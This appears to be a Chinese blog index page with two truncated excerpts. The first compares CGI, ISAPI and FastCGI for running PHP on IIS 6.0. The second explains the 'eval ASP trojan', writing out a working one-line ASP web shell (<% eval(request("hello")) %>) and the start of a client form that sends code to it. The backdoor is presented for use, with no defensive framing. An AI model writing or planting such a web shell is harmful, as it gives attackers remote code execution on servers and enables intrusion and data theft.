拍拍尘土

p.s.推荐使用FastCGI，ISAPI方式需要指定环境变量 PATH 和 PHPRC，不然无法加载php.ini

　　在Windows IIS 6.0下配置PHP，通常有CGI、ISAPI和FastCGI三种配置方式，这三种模式都可以在IIS 6.0下成功运行，下面我就讲一下这三种方式配置的区别和性能上的差异。

　　1、CGI（通用网关接口/Common Gateway Interface）一般是可执行程序，例如EXE文件，和WEB服务器各自占据着不同的进程,而且一般一个CGI程序只能处理一个用户请求。这样，当用户请求数量非常多时，会大量占用系统的资源，如内存、CPU时间等，造成效能低下。

　　2、ISAPI（Internet Server Application Program Interface）是微软提供的一套面向WEB服务的API接口，它能实现CGI提供的全部功能，并在此...

阅读全文…

网上的eval asp木马，客户端其实还是调用了execute语句，这样比较方便。如果纯用eval 的话，也不难。但是在eval方法中，有些地方要注意。VBS里正确的写法如下：

EVAL(MsgBox ("1")&MsgBox ("2")) 'Eval 方法,表达式
Eval ("msgbox(""1"")&msgbox(""2"")")
Eval "MsgBox (""1"")&vbrlf&MsgBox (""2"")"
Eval MsgBox ("1")&vbrlf&MsgBox ("2")

EVAL后跟的语句有许多限制。这个要仔细体会。明白了这些，我们简单测试：

S端：<% eval(request("hello")) %>

C端：<form action=http://192.168.0.8/2.asp method=post name=form1>

<textarea ...

阅读全文…